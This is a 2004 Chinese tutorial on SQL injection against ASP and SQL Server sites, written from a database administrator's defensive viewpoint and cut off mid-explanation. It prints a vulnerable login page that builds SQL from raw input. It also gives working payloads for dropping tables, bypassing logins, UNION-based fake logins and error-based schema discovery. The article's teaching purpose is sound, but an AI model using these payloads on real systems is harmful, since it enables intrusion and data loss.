您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 质量控制/管理 > 深入分析SQL注入攻击及安全防范
――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容注入攻击及安全防范-高级篇fumtek[fumtek@cforce.cn]CopyRight©2004,安全前线出品――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容题外话:SQL注入攻击法存在已经很久了,相信明白其个中精髓的高手有不少,而我写这篇文章是从一个数据库安全管理员的角度对现在一些比较流行的攻击方法和防范方法进行分析而起到一个抛砖引玉的作用让大家重新认识SQL注入攻击可能带来的危害性并做好必要的防范。由于篇幅的关系,所以不能一一列举所有的攻击方式和防护方式,而且由于个人水平有限分析时难免出错,还望大家能一一指正。文章中所有的分析和源码都是建立在微软的IIS服务器,ASP和微软的SQL服务器基础上的。【SQL简介】SQL是一种标准的数据库文本语言,虽然SQL有很多种,但是大多数都符合ANSI的最新标准(SQL-92)。正确使用SQL语句,可以让开发人员,管理员方便的修改数据库的结构(使用数据定义语句,DDL)和修改数据库里的数据(使用数据操作语句,DML)。本文的范例中,我们用到的都是TSQL,也就是微软的SQL服务器的语言。【攻击篇】【简单的SQL注入攻击法】SQL注入攻击通常发生在攻击者对一些数据库应用程序的合法SQL命令语句中加入一些额外非法的SQL命令而达到改变数据的输入最终实现对应用程序甚至系统攻击的目的。通常一个很简单的SQL命令看起来就和下面一样:selectid,名,姓from作者该命令会从数据库的’作者’表中读取所有记录的id,名和姓的数据。如果我们想要限制读取的记录的数据,那么我们改变一下上面的SQL语句如下:selectid,名,姓from作者where名=‘林’and姓=‘王’值得注意的是:由于在SQL语句里需要引用特定值时,都需要用单引号来标注,所以,恶意的攻击者就可能通过加入一些类似下面这样的额外SQL语句而达到目的:名:林’姓:王那么最后的SQL命令就变成了:Selectid,名,姓from作者where名=‘林’’and姓=‘王’所以当SQL服务器执行该命令时,就会返回下面的错误:Server:Msg170,Level15,State1,Line1Line1:Incorrectsyntaxnear‘林’这里出错的原因就是因为在刚才的语句中加入了额外的单引号而导致了非法的SQL命令。如果攻击者加入这样的语句:名:林’;droptable作者--姓:那么,我们可以看到数据库执行命令后,‘作者’这整个表就被删除了,这显然不是我们愿意看到的。有些朋友由此就得出了一个结论,只要我们在SQL语句输入时过滤掉这些非法的单引号或者采用一些其他的方法来替换它,问题就得到解决了。简单的看起来,这样的解决方法似乎有效,但是,在实际应用的时候会有相当的难度。第一,不是所有用户输入的数据都使用这种格式。比如,用户输入的时候可能会选择‘作者’的――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容,这样的SQL命令看起来就成为了:Selectid,名,姓from作者whereid=1234在这种情形下,攻击者仍然可以在数字的后面补加一些SQL命令来达到目的。而且,在所有的SQL语言可能使用不同的标志符,以微软的JetDBMS来说,所有的数据是用#来间隔的。第二,替换单引号也不一定能解决问题,这点我们留到后面再讲。现在我们将以一个典型ASP的登录页面为例更详细的进行分析:HTMLHEADTITLE用户登录/TITLE/HEADBODYbgcolor='000000'text='cccccc'FONTFace='宋体'color='cccccc'CENTERH1Login/H1FORMaction='process_login.asp'method=postTABLETRTD帐号:/TDTDINPUTtype=textname=usernamesize=100%width=100/INPUT/TD/TRTRTD密码:/TDTDINPUTtype=passwordname=passwordsize=100%width=100/INPUT/TD/TR/TABLEINPUTtype=submitvalue='Submit'INPUTtype=resetvalue='Reset'/FORM/FONT/BODY/HTML下面的是登录处理页面’process_login.asp’的源码:HTMLBODYbgcolor='000000'text='ffffff'FONTFace='宋体'color='ffffff'STYLEp{font-size=20pt!important}font{font-size=20pt!important}h1{font-size=64pt!important}/STYLE%@LANGUAGE=JScript%%――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容(str){if(Request.form(debug)==true)Response.write(str);}functionLogin(cn){varusername;varpassword;username=Request.form(username);password=Request.form(password);varrso=Server.CreateObject(ADODB.Recordset);varsql=select*fromuserswhereusername='+username+'andpassword='+password+';trace(query:+sql);rso.open(sql,cn);if(rso.EOF){rso.close();%FONTFace='宋体'color='cc0000'H1BRCENTER登录失败/CENTER/H1/BODY/HTML%Response.endreturn;}else{Session(username)=+rso(username);%FONTFace='宋体'color='00cc00'H1CENTER登录成功BRBRWelcome,%Response.write(rso(Username));Response.write(/BODY/HTML);Response.end}}functionMain(){――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容=Server.createobject(ADODB.Connection);cn.connectiontimeout=20;cn.open(localserver,sa,password);username=newString(Request.form(username));if(username.length0){Login(cn);}cn.close();}Main();%我们可以看到,在整个登录的过程中,最关键的就是“process_login.asp”里建立的SQL命令:varsql=select*fromuserswhereusername='+username+'andpassword='+password+';如果用户输入:Username:‘;droptableusers--Password:我们不难看出’users’的表将被删除从而导致所有的用户都不可以登录。这里的--符号在TSQL语句中是表示单行描述的意思。在这里使用将会使该SQL语句成功执行而没有任何错误信息。另外,如果攻击者知道一些用户名,他可以通过这些用户的身份来成功登录:Username:admin’--攻击者还可以用过’users’表中的第一名用户的身份登录:Username:‘or1=1--攻击者甚至可以用完全虚假的用户身份登录:Username:'unionselect1,'fictional_user','some_password',1--【通过错误信息获取数据库结构信息】如果攻击者想要对数据库里的数据进行操作,那么他还必须要尽可能的知道这些表的结构,例如,我们上面的用户表的结构可能是:createtableusers(idint,usernamevarchar(255),passwordvarchar(255),privsint)然后我们通过下面的命令加入用户:insertintousersvalues(0,'admin','r00tr0x!',0xffff)insertintousersvalues(0,'guest','guest',0x0000)如果攻击者想要为他自己加入一个合法的用户记录,如果不知道表的结构,那么将很难实现这样的目的。就算他比较幸运,但是由于对’privs’的用意不明,那么就算攻击者加入了值1,那他――――――――――――――――――――――――――――――――――――――――――――――Copyright©2004,安全前线,Allrightsreserved.严禁擅自复制和发布内容得到的也只是一个权限较低的帐户。但是,如果ASP程序在攻击者攻击时返回出错信息(这是ASP的默认行为),那么攻击者就将可能了解到整个数据库的结构从而轻松的读取数据库里的数据记录。下面的例子将说明这样的攻击是怎样成功的:Username:'having1=1--这里就导致了一下的错误信息:MicrosoftOLEDBProviderforODBCDriverserror'80040e14'[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.id'isinvalidintheselectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBYclause./process_login.asp,line35现在攻击者知道了该表的名字和第一列的名字,那么他可以接着通过以下的命令逐一得到各列的名字:Username:'groupbyusers.idhaving1=1--错误信息:MicrosoftOLEDBProviderforODBCDriverserror'80040e14'[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.username'isinvalidinthes
本文标题:深入分析SQL注入攻击及安全防范
链接地址:https://www.777doc.com/doc-1265241 .html